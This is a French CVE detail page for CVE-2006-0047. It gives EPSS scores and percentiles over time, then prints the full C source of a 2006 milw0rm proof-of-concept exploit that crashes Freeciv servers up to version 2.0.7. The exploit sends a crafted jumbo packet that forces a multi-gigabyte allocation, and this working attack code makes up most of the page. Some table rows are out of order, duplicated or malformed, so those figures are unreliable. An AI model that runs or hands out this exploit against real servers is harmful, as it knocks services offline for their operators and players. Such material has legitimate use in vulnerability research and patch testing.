CVE-2006-0047 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	8.04%	–
2023-03-26	–	–	–	6.55%	–
2023-06-11	–	–	–	5.87%	–
2023-08-06	–	–	–	7.81%	–
2023-11-05	–	–	–	7.81%	–
2023-11-12	–	–	–	9.94%	–
2024-01-28	–	–	–	20.13%	–
2024-06-02	–	–	–	20.13%	–
2024-11-24	–	–	–	20.13%	–
2024-12-22	–	–	–	2.68%	–
2025-02-16	–	–	–	2.48%	–
2025-01-19	–	–	–	2.68%	–
2025-02-16	–	–	–	2.48%	–
2025-03-18	–	–	–	–	13.59%
2025-03-18	–	–	–	–	13.59,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	93%
2023-03-26	93%
2023-06-11	92%
2023-08-06	93%
2023-11-05	94%
2023-11-12	94%
2024-01-28	96%
2024-06-02	96%
2024-11-24	97%
2024-12-22	9%
2025-02-16	9%
2025-01-19	9%
2025-02-16	9%
2025-03-18	94%
2025-03-18	94%

/* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef WIN32 #include <winsock.h> /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include <string.h> #include <errno.h> void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define ONESEC 1 #endif #define VER "0.1" #define PORT 5555 #define JUMBO_SIZE 0xffff u_int resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; u_int boomsz; int sd, i; u_short port = PORT; u_char buff[6]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif srand(time(NULL)); setbuf(stdout, NULL); fputs("\n" "Freeciv <= 2.0.7 jumbo malloc crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <host> [port(%hu)]\n" "\n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- connect..."); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); printf(" done\n"); boomsz = 6 + (rand() * 1234); for(;;) { if(!boomsz) boomsz++; if(boomsz > 0) boomsz = -boomsz; if((u_int)((boomsz - 6) * 100) > 0x7fffffff) break; boomsz *= 1234; // more than 2 gigabytes, I want to be sure } *(u_short *)buff = JUMBO_SIZE; *(u_int *)(buff + 2) = htonl(boomsz); // int compressed_size = whole_packet_len - header_size; // header_size = 6 // long int decompressed_size = 100 * compressed_size; printf("- send BOOM data (try to allocate %u bytes on the remote system)\n", (u_int)(ntohl(*(u_int *)(buff + 2)) - 6) * 100); if(send(sd, buff, 6, 0) < 0) std_err(); printf("- wait some seconds:\n"); for(i = 3; i >= 0; i--) { printf("%3d\r", i); sleep(ONESEC); } close(sd); printf( "- the server should be crashed or freezed, check it manually\n" " if it's still online retry again with this tool or the server is patched\n" "\n"); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2006-03-06]